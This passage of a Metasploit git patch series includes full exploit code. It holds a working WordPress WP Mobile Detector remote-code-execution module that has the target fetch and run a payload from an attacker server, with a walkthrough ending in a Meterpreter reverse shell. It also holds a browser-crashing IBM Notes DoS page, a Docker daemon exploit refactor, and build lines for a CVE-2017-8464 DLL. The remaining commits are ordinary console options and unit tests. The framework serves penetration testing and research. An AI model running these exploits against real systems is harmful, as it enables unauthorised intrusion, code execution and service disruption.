+${CCx86}-dllwrap --def template.def *.o -o temp.dll
+${CCx86}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
+rm -f temp.dll *.o
+chmod -x ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
diff --git a/data/exploits/cve-2017-8464/src/template.c b/external/source/exploits/cve-2017-8464/template.c
similarity index 100%
rename from data/exploits/cve-2017-8464/src/template.c
rename to external/source/exploits/cve-2017-8464/template.c
diff --git a/data/exploits/cve-2017-8464/src/template.def b/external/source/exploits/cve-2017-8464/template.def
similarity index 100%
rename from data/exploits/cve-2017-8464/src/template.def
rename to external/source/exploits/cve-2017-8464/template.def
diff --git a/data/exploits/cve-2017-8464/src/template.h b/external/source/exploits/cve-2017-8464/template.h
similarity index 100%
rename from data/exploits/cve-2017-8464/src/template.h
rename to external/source/exploits/cve-2017-8464/template.h
diff --git a/data/exploits/cve-2017-8464/src/template.rc b/external/source/exploits/cve-2017-8464/template.rc
similarity index 100%
rename from data/exploits/cve-2017-8464/src/template.rc
rename to external/source/exploits/cve-2017-8464/template.rc

From 6d28a579f304fdc551d5a3a53cd1612c4cb0a126 Mon Sep 17 00:00:00 2001
From: Martin Pizala <m.pizala@pizala.de>
Date: Mon, 9 Oct 2017 13:12:48 +0200
Subject: [PATCH 025/254] send_request_cgi instead of send_request_raw

---
 .../exploits/linux/http/docker_daemon_tcp.rb  | 30 +++++++++++--------
 1 file changed, 18 insertions(+), 12 deletions(-)

diff --git a/modules/exploits/linux/http/docker_daemon_tcp.rb b/modules/exploits/linux/http/docker_daemon_tcp.rb
index a9947c2811..94b9787b48 100644
--- a/modules/exploits/linux/http/docker_daemon_tcp.rb
+++ b/modules/exploits/linux/http/docker_daemon_tcp.rb
@@ -50,9 +50,10 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def check_image(image_id)
     vprint_status("Check if images exist on the target host")
-    res = send_request_raw(
+    res = send_request_cgi(
       'method'  => 'GET',
-      'uri'     => normalize_uri('images', 'json')
+      'uri'     => normalize_uri('images', 'json'),
+      'ctype'   => 'application/json'
     )
     return unless res && res.code == 200 && res.body.include?(image_id)
 
@@ -61,9 +62,10 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def pull_image(image_id)
     print_status("Trying to pulling image from docker registry, this may take a while")
-    res = send_request_raw(
+    res = send_request_cgi(
       'method'  => 'POST',
-      'uri'     => normalize_uri('images', 'create?fromImage=' + image_id)
+      'uri'     => normalize_uri('images', 'create?fromImage=' + image_id),
+      'ctype'   => 'application/json'
     )
     return unless res && res.code == 200
 
@@ -104,19 +106,21 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def del_container(container_id)
-    send_request_raw(
+    send_request_cgi(
       {
         'method'  => 'DELETE',
-        'uri'     => normalize_uri('containers', container_id)
+        'uri'     => normalize_uri('containers', container_id),
+        'ctype'   => 'application/json'
       },
       1 # timeout
     )
   end
 
   def check
-    res = send_request_raw(
+    res = send_request_cgi(
       'method'   => 'GET',
       'uri'      => normalize_uri('containers', 'json'),
+      'ctype'    => 'application/json',
       'headers'  => { 'Accept' => 'application/json' }
     )
 
@@ -151,10 +155,10 @@ class MetasploitModule < Msf::Exploit::Remote
     container_id = make_container_id
 
     # create container
-    res_create = send_request_raw(
+    res_create = send_request_cgi(
       'method'  => 'POST',
       'uri'     => normalize_uri('containers', 'create?name=' + container_id),
-      'headers' => { 'Content-Type' => 'application/json' },
+      'ctype'   => 'application/json',
       'data'    => make_container(mnt_path, cron_path, payload_path).to_json
     )
     fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
@@ -163,19 +167,21 @@ class MetasploitModule < Msf::Exploit::Remote
     register_files_for_cleanup(cron_path, payload_path)
 
     # start container
-    send_request_raw(
+    send_request_cgi(
       {
         'method'  => 'POST',
-        'uri'     => normalize_uri('containers', container_id, 'start')
+        'uri'     => normalize_uri('containers', container_id, 'start'),
+        'ctype'   => 'application/json'
       },
       1 # timeout
     )
 
     # wait until container stopped
     vprint_status("Waiting until the docker container stopped")
-    res_wait = send_request_raw(
+    res_wait = send_request_cgi(
       'method'  => 'POST',
       'uri'     => normalize_uri('containers', container_id, 'wait'),
+      'ctype'   => 'application/json',
       'headers' => { 'Accept' => 'application/json' }
     )
 

From b83787c24c42bfe9a0d21f2ba0bc46bebe5bd6b5 Mon Sep 17 00:00:00 2001
From: Jeffrey Martin <Jeffrey_Martin@rapid7.com>
Date: Mon, 9 Oct 2017 20:02:32 -0500
Subject: [PATCH 026/254] make powershell spec more specific in expectations

---
 spec/lib/msf/core/exploit/powershell_spec.rb | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb
index 402ee98d67..fbe38decdf 100644
--- a/spec/lib/msf/core/exploit/powershell_spec.rb
+++ b/spec/lib/msf/core/exploit/powershell_spec.rb
@@ -276,11 +276,13 @@ RSpec.describe Msf::Exploit::Powershell do
       end
       it 'shouldnt shorten args' do
         code = subject.cmd_psh_payload(payload, arch)
-        expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy
+        expect(code.include?('-NoProfile ')).to be_truthy
+        expect(code.include?('-WindowStyle hidden')).to be_truthy
+        expect(code.include?('-Command ')).to be_truthy
       end
       it 'should include -NoExit' do
         code = subject.cmd_psh_payload(payload, arch)
-        expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy
+        expect(code.include?('-NoExit ')).to be_truthy
       end
     end
 

From 2b85eb17dd4c78c53aa34d8e92ee9b7a8b0e16c6 Mon Sep 17 00:00:00 2001
From: RootUp <mishra.dhiraj95@gmail.com>
Date: Tue, 10 Oct 2017 12:22:06 +0530
Subject: [PATCH 027/254] Create ibm_lotus_notes2.rb

---
 .../auxiliary/dos/http/ibm_lotus_notes2.rb    | 70 +++++++++++++++++++
 1 file changed, 70 insertions(+)
 create mode 100644 modules/auxiliary/dos/http/ibm_lotus_notes2.rb

diff --git a/modules/auxiliary/dos/http/ibm_lotus_notes2.rb b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
new file mode 100644
index 0000000000..aabd3b5041
--- /dev/null
+++ b/modules/auxiliary/dos/http/ibm_lotus_notes2.rb
@@ -0,0 +1,70 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'           => "IBM Notes encodeURI DOS",
+        'Description'    => %q(
+          This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.
+          If successful, the browser will crash after viewing the webpage.
+        ),
+        'License'        => MSF_LICENSE,
+        'Author'         => [
+          'Dhiraj Mishra',
+        ],
+        'References'     => [
+          [ 'EXPLOIT-DB', '42604'],
+          [ 'CVE', '2017-1130' ]
+        ],
+        'DisclosureDate' => 'August 31 2017',
+        'Actions'        => [[ 'WebServer' ]],
+        'PassiveActions' => [ 'WebServer' ],
+        'DefaultAction'  => 'WebServer'
+      )
+    )
+  end
+
+  def run
+    exploit # start http server
+  end
+
+  def setup
+    @html = %|
+<html><body>
+<input type="file" id="f">
+<script>
+var w;
+var kins = {};
+var i = 1;
+f.click();
+setInterval("f.click()", 1);
+setInterval(function(){
+	for (var k in kins) {
+		if (kins[k] && kins[k].status === undefined) {
+			kins[k].close();
+			delete kins[k];
+		}
+	}
+	w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
+	if (w) {
+		kins[i] = w;
+		i++;
+	}
+}, 1);
+</script>
+</body></html>
+    |
+  end
+
+  def on_request_uri(cli, _request)
+    print_status('Sending response')
+    send_response(cli, @html)
+  end
+end

From d715f5360452a9386bda39635fec186b1ad0e541 Mon Sep 17 00:00:00 2001
From: Brent Cook <bcook@rapid7.com>
Date: Fri, 20 Oct 2017 15:32:25 -0500
Subject: [PATCH 028/254] add MinRID to complement MaxRID, allowing continuing
 or starting from a higher value

from @lvarela-r7
---
 modules/auxiliary/scanner/smb/smb_lookupsid.rb | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb
index 4d62a29ef2..05d8e86152 100644
--- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb
+++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb
@@ -39,6 +39,7 @@ class MetasploitModule < Msf::Auxiliary
 
     register_options(
       [
+        OptInt.new('MinRID', [ false, "Starting RID to check", 500 ]),
         OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ])
       ],
       self.class
@@ -140,7 +141,6 @@ class MetasploitModule < Msf::Auxiliary
 
   # Fingerprint a single host
   def run_host(ip)
-
     [[139, false], [445, true]].each do |info|
 
     @rport = info[0]
@@ -227,8 +227,10 @@ class MetasploitModule < Msf::Auxiliary
         domain_sid || host_sid
       end
 
+      min_rid = datastore['MinRID']
       # Brute force through a common RID range
-      500.upto(datastore['MaxRID'].to_i) do |rid|
+
+      min_rid.upto(datastore['MaxRID']) do |rid|
 
         stub =
           phandle +
@@ -244,7 +246,6 @@ class MetasploitModule < Msf::Auxiliary
           NDR.long(1) +
           NDR.long(0)
 
-
         dcerpc.call(15, stub)
         resp = dcerpc.last_response ? dcerpc.last_response.stub_data : nil
 
@@ -295,6 +296,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     end
   end
-
-
 end

From cfd7761818ded3e388328037817ecc87e3cbe653 Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Fri, 20 Oct 2017 23:19:58 -0400
Subject: [PATCH 029/254] wp_mobile_detector rce

---
 .../wp_mobile_detector_upload_execute.md      |  63 ++++++++++
 .../wp_mobile_detector_upload_execute.rb      | 118 ++++++++++++++++++
 2 files changed, 181 insertions(+)
 create mode 100644 documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md
 create mode 100644 modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb

diff --git a/documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md b/documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md
new file mode 100644
index 0000000000..5443e074ee
--- /dev/null
+++ b/documentation/modules/exploit/unix/webapp/wp_mobile_detector_upload_execute.md
@@ -0,0 +1,63 @@
+## Vulnerable Application
+
+  wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
+  was disclosed.  Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
+  the file can be executed by the client.
+
+  Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
+  from Exploit-db since wordpress removed it.
+
+  Due to its age, it may be difficult to install.  The install for the scenario later is:
+
+  * Ubuntu 16.04.2
+  * Apache 2.4.18
+  * PHP 7
+  * Wordpress 4.4.2
+
+## Verification Steps
+
+  Example steps in this format (is also in the PR):
+
+  1. Install the application
+  2. Start msfconsole
+  3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
+  4. Do: ```set rhost [ip]```
+  5. Do: ```set lhost [ip]```
+  6. Do: ```set srvhost [ip]```
+  7. Do: ```exploit```
+  8. You should get a shell.
+
+## Scenarios
+
+### wp-mobile-detector 3.5 on Wordpress 4.4.2
+
+  ```
+  msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute 
+  msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
+  rhost => 2.2.2.2
+  msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
+  TARGETURI => /wordpress/
+  msf exploit(wp_mobile_detector_upload_execute) > check
+  [*] 2.2.2.2:80 The target appears to be vulnerable.
+  msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
+  payload => php/meterpreter/reverse_tcp
+  smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
+  lhost => 1.1.1.1
+  msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
+  srvhost => 1.1.1.1
+  msf exploit(wp_mobile_detector_upload_execute) > exploit
+  [*] Exploit running as background job 2.
+  
+  [*] Started reverse TCP handler on 1.1.1.1:4444 
+  msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
+  [*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
+  [*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
+  [+] Payload requested on server, sending
+  [+] Sleeping 5 seconds for payload upload
+  [*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
+  [*] Sending stage (37514 bytes) to 2.2.2.2
+  [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
+  [+] Deleted ZWTgqwsiFL.php
+  [*] Server stopped.
+  ```
+
diff --git a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
new file mode 100644
index 0000000000..ae2f4fa7ad
--- /dev/null
+++ b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
@@ -0,0 +1,118 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::Remote::HTTP::Wordpress
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'WordPress WP Mobile Detector 3.5 Shell Upload',
+      'Description'     => %q{
+          WP Mobile Detector Plugin for WordPress contains a flaw that allows a remote attacker
+          to execute arbitrary PHP code. This flaw exists because the
+          /wp-content/plugins/wp-mobile-detector/resize.php script does contains a
+          remote file include for files not cached by the system already.
+          By uploading a .php file, the remote system will
+          place the file in a user-accessible path. Making a direct request to the
+          uploaded file will allow the attacker to execute the script with the privileges
+          of the web server.
+        },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'pluginvulnerabilities.com', # Vulnerability disclosure
+          'Aaditya Purani', # EDB module discovered after writing module
+          'h00die' # Metasploit module
+        ],
+      'References'      =>
+        [
+          ['WPVDB', '8505'],
+          ['EDB', '39891'],
+          ['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/']
+        ],
+      'DisclosureDate'  => 'May 31 2016',
+      'Platform'        => 'php',
+      'Arch'            => ARCH_PHP,
+      'Targets'         => [['wp-mobile-detectory < 3.6', {}]],
+      'DefaultTarget'   => 0
+    ))
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-mobile-detector', '3.5')
+  end
+
+  def exploit
+    if datastore['SRVHOST'] == '0.0.0.0'
+      fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from rhost')
+    end
+    payload_name = rand_text_alphanumeric(10) + '.php'
+
+    # First check to see if the file is written already, if it is cache wont retrieve it from us
+    res = send_request_cgi(
+      'global' => true,
+      'method'  => 'GET',
+      'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/'
+    )
+    if res and !res.body.include?(payload_name)
+      vprint_status("#{payload_name} verified as not written.")
+    else
+      fail_with(Failure::BadConfig,"#{payload_name} already written on system.")
+    end
+
+    def on_request_uri(cli, _request)
+      print_good('Payload requested on server, sending')
+      send_response(cli, payload.encoded, {})
+    end
+
+    print_status('Starting Payload Server')
+    payload_url = '/' + payload_name
+    start_service('Uri' => {
+                    'Path' => payload_url,
+                    'Proc' => proc do |cli, req|
+                       on_request_uri(cli, req)
+                       end
+                    })
+
+    payload_full_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + payload_url
+    print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{payload_full_url}")
+
+    res = send_request_cgi(
+      'global' => true,
+      'method'  => 'GET',
+      'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
+      'vars_get' => {'src' => payload_full_url}
+    )
+
+   if res && res.code == 200
+      print_good('Sleeping 5 seconds for payload upload')
+      register_files_for_cleanup(payload_name)
+
+      select(nil,nil,nil,5)
+
+      print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}")
+      send_request_cgi(
+      {
+        'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name),
+      })
+      # wait for callback, without this we exit too fast and miss our shell
+      select(nil,nil,nil,2)
+      handler
+    else
+      if res.nil?
+        fail_with(Failure::Unreachable, 'No response from the target')
+      else
+        vprint_error("HTTP Status: #{res.code}")
+        vprint_error("Server returned: #{res.body}")
+        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
+      end
+    end
+  end
+end

From ea1ac3d5b3737b60b33769d543a28e10bb2d7b0b Mon Sep 17 00:00:00 2001
From: Dave Farrow <farrow.daveb@gmail.com>
Date: Fri, 20 Oct 2017 20:39:38 -0700
Subject: [PATCH 030/254] #9108:  added -C option to change default hosts
 columns

The -C option saves the column list the user provided and uses that as the default column list until msfconsole is restarted
---
 lib/msf/ui/console/command_dispatcher/db.rb | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb
index e37a16a350..74f2cf3f17 100644
--- a/lib/msf/ui/console/command_dispatcher/db.rb
+++ b/lib/msf/ui/console/command_dispatcher/db.rb
@@ -354,6 +354,8 @@ class Db
     end
   end
 
+  @@hosts_columns = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
+
   def cmd_hosts(*args)
     return unless active?
   ::ActiveRecord::Base.connection_pool.with_connection {
@@ -371,7 +373,7 @@ class Db
     default_columns << 'tags' # Special case
     virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
 
-    col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
+    col_search = @@hosts_columns
 
     default_columns.delete_if {|v| (v[-2,2] == "id")}
     while (arg = args.shift)
@@ -380,7 +382,7 @@ class Db
         mode << :add
       when '-d','--delete'
         mode << :delete
-      when '-c'
+      when '-c','-C'
         list = args.shift
         if(!list)
           print_error("Invalid column list")
@@ -394,6 +396,10 @@ class Db
             return
           end
         }
+        if (arg == '-C')
+          @@hosts_columns = col_search
+        end
+ 
       when '-u','--up'
         onlyup = true
       when '-o'
@@ -426,6 +432,7 @@ class Db
         print_line "  -a,--add          Add the hosts instead of searching"
         print_line "  -d,--delete       Delete the hosts instead of searching"
         print_line "  -c <col1,col2>    Only show the given columns (see list below)"
+        print_line "  -C <col1,col2>    Only show the given columns until next restart (see list below)"
         print_line "  -h,--help         Show this help information"
         print_line "  -u,--up           Only show hosts which are up"
         print_line "  -o <file>         Send output to a file in csv format"

From 8d035ccd401fdc257ce20f47fa8f224035345178 Mon Sep 17 00:00:00 2001
From: Dave Farrow <farrow.daveb@gmail.com>
Date: Fri, 20 Oct 2017 21:10:56 -0700
Subject: [PATCH 031/254] #9108: fixed broken unit test

---
 db_spec.rb | 389 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 389 insertions(+)
 create mode 100644 db_spec.rb

diff --git a/db_spec.rb b/db_spec.rb
new file mode 100644
index 0000000000..7bccc9b9cc
--- /dev/null
+++ b/db_spec.rb
@@ -0,0 +1,389 @@
+require 'spec_helper'
+
+require 'msf/ui'
+require 'msf/ui/console/command_dispatcher/db'
+
+RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
+  include_context 'Msf::DBManager'
+  include_context 'Msf::UIDriver'
+
+  subject(:db) do
+    described_class.new(driver)
+  end
+
+  it { is_expected.to respond_to :active? }
+  it { is_expected.to respond_to :arg_host_range }
+  it { is_expected.to respond_to :arg_port_range }
+  it { is_expected.to respond_to :cmd_db_autopwn }
+  it { is_expected.to respond_to :cmd_db_autopwn_help }
+  it { is_expected.to respond_to :cmd_db_connect }
+  it { is_expected.to respond_to :cmd_db_connect_help }
+  it { is_expected.to respond_to :cmd_db_disconnect }
+  it { is_expected.to respond_to :cmd_db_disconnect_help }
+  it { is_expected.to respond_to :cmd_db_driver }
+  it { is_expected.to respond_to :cmd_db_driver_help }
+  it { is_expected.to respond_to :cmd_db_export_help }
+  it { is_expected.to respond_to :cmd_db_hosts_help }
+  it { is_expected.to respond_to :cmd_db_import_help }
+  it { is_expected.to respond_to :cmd_db_import_tabs }
+  it { is_expected.to respond_to :cmd_db_nmap }
+  it { is_expected.to respond_to :cmd_db_notes }
+  it { is_expected.to respond_to :cmd_db_notes_help }
+  it { is_expected.to respond_to :cmd_db_rebuild_cache }
+  it { is_expected.to respond_to :cmd_db_rebuild_cache_help }
+  it { is_expected.to respond_to :cmd_db_services }
+  it { is_expected.to respond_to :cmd_db_services_help }
+  it { is_expected.to respond_to :cmd_db_status }
+  it { is_expected.to respond_to :cmd_db_vulns }
+  it { is_expected.to respond_to :cmd_db_vulns_help }
+  it { is_expected.to respond_to :cmd_hosts }
+  it { is_expected.to respond_to :cmd_hosts_help }
+  it { is_expected.to respond_to :cmd_loot_help }
+  it { is_expected.to respond_to :cmd_notes_help }
+  it { is_expected.to respond_to :cmd_services_help }
+  it { is_expected.to respond_to :cmd_vulns_help }
+  it { is_expected.to respond_to :cmd_workspace_help }
+  it { is_expected.to respond_to :cmd_workspace_tabs }
+  it { is_expected.to respond_to :commands }
+  it { is_expected.to respond_to :db_check_driver }
+  it { is_expected.to respond_to :db_connect_postgresql }
+  it { is_expected.to respond_to :db_find_tools }
+  it { is_expected.to respond_to :db_parse_db_uri_postgresql }
+  it { is_expected.to respond_to :deprecated_commands }
+  it { is_expected.to respond_to :each_host_range_chunk }
+  it { is_expected.to respond_to :make_sortable }
+  it { is_expected.to respond_to :name }
+  it { is_expected.to respond_to :set_rhosts_from_addrs }
+
+  describe "#cmd_db_export" do
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_db_export "-h"
+        expect(@output).to match_array [
+          "Usage:",
+          "    db_export -f <format> [filename]",
+          "    Format can be one of: xml, pwdump"
+        ]
+      end
+    end
+  end
+
+  describe "#cmd_db_import" do
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_db_import "-h"
+        expect(@output).to match_array [
+          "Usage: db_import <filename> [file2...]",
+          "Filenames can be globs like *.xml, or **/*.xml which will search recursively",
+          "Currently supported file types include:",
+          "    Acunetix",
+          "    Amap Log",
+          "    Amap Log -m",
+          "    Appscan",
+          "    Burp Issue XML",
+          "    Burp Session XML",
+          "    CI",
+          "    Foundstone",
+          "    FusionVM XML",
+          "    IP Address List",
+          "    IP360 ASPL",
+          "    IP360 XML v3",
+          "    Libpcap Packet Capture",
+          "    Masscan XML",
+          "    Metasploit PWDump Export",
+          "    Metasploit XML",
+          "    Metasploit Zip Export",
+          "    Microsoft Baseline Security Analyzer",
+          "    NeXpose Simple XML",
+          "    NeXpose XML Report",
+          "    Nessus NBE Report",
+          "    Nessus XML (v1)",
+          "    Nessus XML (v2)",
+          "    NetSparker XML",
+          "    Nikto XML",
+          "    Nmap XML",
+          "    OpenVAS Report",
+          "    OpenVAS XML",
+          "    Outpost24 XML",
+          "    Qualys Asset XML",
+          "    Qualys Scan XML",
+          "    Retina XML",
+          "    Spiceworks CSV Export",
+          "    Wapiti XML"
+        ]
+      end
+    end
+  end
+
+  describe "#cmd_hosts" do
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_hosts "-h"
+        expect(@output).to match_array [
+          "Usage: hosts [ options ] [addr1 addr2 ...]",
+          "OPTIONS:",
+          "  -a,--add          Add the hosts instead of searching",
+          "  -d,--delete       Delete the hosts instead of searching",
+          "  -c <col1,col2>    Only show the given columns (see list below)",
+          "  -C <col1,col2>    Only show the given columns until the next restart (see list below)",
+          "  -h,--help         Show this help information",
+          "  -u,--up           Only show hosts which are up",
+          "  -o <file>         Send output to a file in csv format",
+          "  -O <column>       Order rows by specified column number",
+          "  -R,--rhosts       Set RHOSTS from the results of the search",
+          "  -S,--search       Search string to filter by",
+          "  -i,--info         Change the info of a host",
+          "  -n,--name         Change the name of a host",
+          "  -m,--comment      Change the comment of a host",
+          "  -t,--tag          Add or specify a tag to a range of hosts",
+          "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags"
+        ]
+      end
+    end
+  end
+
+  describe "#cmd_loot" do
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_loot "-h"
+        expect(@output).to match_array [
+          "Usage: loot <options>",
+          " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]",
+          "  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]",
+          "  Del: loot -d [addr1 addr2 ...]",
+          "  -a,--add          Add loot to the list of addresses, instead of listing",
+          "  -d,--delete       Delete *all* loot matching host and type",
+          "  -f,--file         File with contents of the loot to add",
+          "  -i,--info         Info of the loot to add",
+          "  -t <type1,type2>  Search for a list of types",
+          "  -h,--help         Show this help information",
+          "  -S,--search       Search string to filter by"
+        ]
+      end
+    end
+
+  end
+
+  describe "#cmd_notes" do
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_notes "-h"
+        expect(@output).to match_array [
+          "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]",
+          "  -a,--add                  Add a note to the list of addresses, instead of listing",
+          "  -d,--delete               Delete the hosts instead of searching",
+          "  -n,--note <data>          Set the data for a new note (only with -a)",
+          "  -t <type1,type2>          Search for a list of types",
+          "  -h,--help                 Show this help information",
+          "  -R,--rhosts               Set RHOSTS from the results of the search",
+          "  -S,--search               Regular expression to match for search",
+          "  -o,--output               Save the notes to a csv file",
+          "  --sort <field1,field2>    Fields to sort by (case sensitive)",
+          "Examples:",
+          "  notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41",
+          "  notes -t smb.fingerprint 10.1.1.34 10.1.20.41",
+          "  notes -S 'nmap.nse.(http|rtsp)' --sort type,output"
+        ]
+
+      end
+    end
+
+  end
+
+  describe "#cmd_services" do
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_services "-h"
+        expect(@output).to match_array [
+          "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]",
+          "  -a,--add          Add the services instead of searching",
+          "  -d,--delete       Delete the services instead of searching",
+          "  -c <col1,col2>    Only show the given columns",
+          "  -h,--help         Show this help information",
+          "  -s <name1,name2>  Search for a list of service names",
+          "  -p <port1,port2>  Search for a list of ports",
+          "  -r <protocol>     Only show [tcp|udp] services",
+          "  -u,--up           Only show services which are up",
+          "  -o <file>         Send output to a file in csv format",
+          "  -O <column>       Order rows by specified column number",
+          "  -R,--rhosts       Set RHOSTS from the results of the search",
+          "  -S,--search       Search string to filter by",
+          "Available columns: created_at, info, name, port, proto, state, updated_at"
+        ]
+      end
+    end
+    describe "-p" do
+      before(:example) do
+        host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
+        FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp')
+        FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp')
+        FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp')
+      end
+      it "should list services that are on a given port" do
+        db.cmd_services "-p", "1024,1025"
+        expect(@output).to match_array [
+          "Services",
+          "========",
+          "",
+          "host         port  proto  name      state  info",
+          "----         ----  -----  ----      -----  ----",
+          "192.168.0.1  1024  udp    Service1  open   ",
+          "192.168.0.1  1025  tcp    Service2  open   "
+        ]
+      end
+    end
+    describe "-np" do
+      before(:example) do
+        host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
+        FactoryGirl.create(:mdm_service, :host => host, :port => 1024)
+        FactoryGirl.create(:mdm_service, :host => host, :port => 1025)
+        FactoryGirl.create(:mdm_service, :host => host, :port => 1026)
+      end
+      it "should list services that are not on a given port" do
+        skip {
+          db.cmd_services "-np", "1024"
+
+          expect(@output).to =~ [
+            "Services",
+            "========",
+            "",
+            "host         port  proto  name  state  info",
+            "----         ----  -----  ----  -----  ----",
+            "192.168.0.1  1025  snmp         open   ",
+            "192.168.0.1  1026  snmp         open   "
+          ]
+        }
+      end
+    end
+  end
+
+  describe "#cmd_vulns" do
+    describe "-h" do
+      it "should show a help message" do
+        db.cmd_vulns "-h"
+        expect(@output).to match_array [
+          "Print all vulnerabilities in the database",
+          "Usage: vulns [addr range]",
+          "  -h,--help             Show this help information",
+          "  -p,--port <portspec>  List vulns matching this port spec",
+          "  -s <svc names>        List vulns matching these service names",
+          "  -R,--rhosts           Set RHOSTS from the results of the search",
+          "  -S,--search           Search string to filter by",
+          "  -i,--info             Display Vuln Info",
+          "Examples:",
+          "  vulns -p 1-65536          # only vulns with associated services",
+          "  vulns -p 1-65536 -s http  # identified as http on any port"
+        ]
+      end
+    end
+
+  end
+
+  describe "#cmd_workspace" do
+    before(:example) do
